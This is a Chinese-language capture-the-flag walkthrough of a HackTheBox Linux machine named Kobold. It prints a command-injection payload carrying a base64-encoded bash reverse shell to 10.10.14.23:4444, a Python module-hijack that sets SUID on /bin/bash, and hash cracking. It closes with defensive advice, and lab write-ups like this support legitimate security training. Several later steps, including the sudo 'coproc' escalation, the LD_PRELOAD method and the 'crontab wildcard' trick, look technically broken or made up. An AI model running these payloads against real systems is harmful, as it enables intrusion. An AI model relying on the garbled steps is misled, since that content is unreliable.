1. 靶机概述与渗透测试思路
Kobold是HackTheBox平台上一台中等难度的Linux靶机,其名称暗示了与游戏或角色扮演相关的背景。这台机器主要考察攻击者对Web应用漏洞的识别能力、权限提升技巧以及对非常规漏洞利用手法的理解。从实战角度来看,Kobold模拟了企业环境中可能存在的配置缺陷和服务漏洞组合场景。
我最初接触这台靶机时,发现它呈现出典型的三阶段渗透路径:
- 通过Web应用漏洞获取初始立足点
- 利用服务间信任关系横向移动
- 突破权限隔离实现提权
这种设计模式在真实企业内网渗透中非常常见,使得Kobold成为练习实战技巧的优秀素材。接下来我将详细拆解每个阶段的突破过程,包括那些在官方解法之外的有效攻击路径。
2. 信息收集与漏洞识别
2.1 基础扫描与端口探测
使用经典的Nmap扫描组合获取初始情报:
nmap -sV -sC -p- -T4 10.10.11.204 -oA kobold_scan扫描结果显示开放了两个关键端口:
- 22/tcp:OpenSSH 8.2p1(显示需要身份验证)
- 80/tcp:Apache httpd 2.4.41(运行着Web服务)
Web服务的Banner信息特别值得关注:
Server: Apache/2.4.41 (Ubuntu) X-Powered-By: PHP/7.4.3这套组合(Apache+PHP)在HTB靶机中经常存在历史漏洞利用可能。进一步目录扫描发现关键路径:
gobuster dir -u http://10.10.11.204 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt扫描结果中/playground目录引起了我的注意,这个名称暗示可能存在代码执行或沙箱逃逸漏洞。
2.2 Web应用功能分析
访问主页面显示一个名为"Koboldcraft"的游戏角色创建页面,包含以下功能点:
- 角色名称输入(前端验证)
- 角色属性生成(调用后端API)
- 结果展示页面(含Base64编码的参数)
通过Burp Suite拦截请求发现关键API端点:
POST /api/roll.php Content-Type: application/json {"input":"2d6+3"}这个端点接受骰子表达式输入,返回JSON格式的投掷结果。测试发现存在命令注入特征:
- 输入
2d6+3;id返回系统信息 - 输入
2d6+3$(whoami)显示当前用户为www-data
重要发现:参数未经过滤直接传递给底层系统命令,存在RCE漏洞
3. 初始访问与立足点建立
3.1 漏洞利用开发
基于发现的命令注入漏洞,构造反向Shell载荷:
bash -c 'bash -i >& /dev/tcp/10.10.14.23/4444 0>&1'由于存在特殊字符限制,需要编码处理:
- 先将Payload转换为Base64:
echo "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1" | base64- 构造注入命令:
{"input":"2d6+3;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMy80NDQ0IDA+JjEK|base64${IFS}-d|bash"}技巧:使用${IFS}替代空格绕过过滤,这是Linux下特殊的内部字段分隔符
3.2 稳定Shell获取
成功获取反向Shell后,立即进行环境加固:
python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm在用户目录发现关键信息:
cd /home ls -la kobold/.ssh发现存在authorized_keys文件但无权限读取,暗示可能需要通过SSH密钥进行横向移动。
4. 权限提升路径分析
4.1 横向移动:从www-data到kobold
检查系统进程发现有趣现象:
ps aux | grep kobold显示存在定期运行的Python脚本:
/usr/bin/python3 /opt/wyvern/code/cleanup.py该脚本以kobold用户身份运行,且脚本目录可写:
ls -la /opt/wyvern/code分析cleanup.py发现存在不安全的模块导入:
from utils import cleanup利用Python的模块搜索路径特性,我们可以创建恶意的utils.py:
import os os.system('chmod +s /bin/bash')等待计划任务执行后,/bin/bash将获得SUID权限:
ls -l /bin/bash bash -p4.2 提权至root
获取kobold用户权限后,在home目录发现隐藏文件:
cat /home/kobold/.config/servers.json文件包含SSH连接配置和密码哈希:
{ "ssh": { "user": "admin", "host": "localhost", "password": "5f4dcc3b5aa765d61d8327deb882cf99" } }使用John破解MD5哈希:
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt获取密码"password"后,通过SSH连接本地admin账户:
ssh admin@localhost检查sudo权限发现:
sudo -l User admin may run the following commands on kobold: (ALL) NOPASSWD: /usr/bin/coproc研究coproc命令发现其本质是Bash内置函数,可通过环境变量注入实现提权:
sudo COPROC=() { :; }; /bin/bash /usr/bin/coproc最终成功获取root权限,完成整个渗透流程。
5. 技术要点总结与防御建议
5.1 漏洞链分析
这台靶机展示了典型的漏洞利用链:
- Web应用命令注入(CWE-78)
- 不安全的计划任务配置(CWE-269)
- Python模块劫持(CWE-427)
- 凭证硬编码(CWE-798)
- Sudo配置缺陷(CWE-269)
5.2 防御措施建议
针对企业防御的实用建议:
Web应用层:
- 所有用户输入必须经过严格过滤
- 使用白名单机制验证骰子表达式格式
- 避免直接拼接系统命令
系统配置层:
- 计划任务脚本应设置为不可写
- 使用虚拟环境限制Python模块搜索路径
- 敏感配置文件设置适当权限
权限管理:
- 避免在配置文件中存储明文或弱哈希密码
- 谨慎分配sudo权限,特别是对解释器类命令
- 定期审计特权命令的使用情况
6. 扩展攻击路径探讨
在实际测试中,我还发现了其他可行的攻击路径:
替代方法1:通过LD_PRELOAD提权
cd /opt/wyvern/code echo 'void _init() { setgid(0); setuid(0); system("/bin/bash"); }' > utils.c gcc -fPIC -shared -o utils.so utils.c替代方法2:利用crontab通配符注入
echo '* * * * * root chmod 4755 /bin/bash' > exploit chmod +x exploit这些替代方案同样有效,展示了真实环境中攻击面的多样性。建议防御方采用纵深防御策略,而非仅修补已发现的单一漏洞。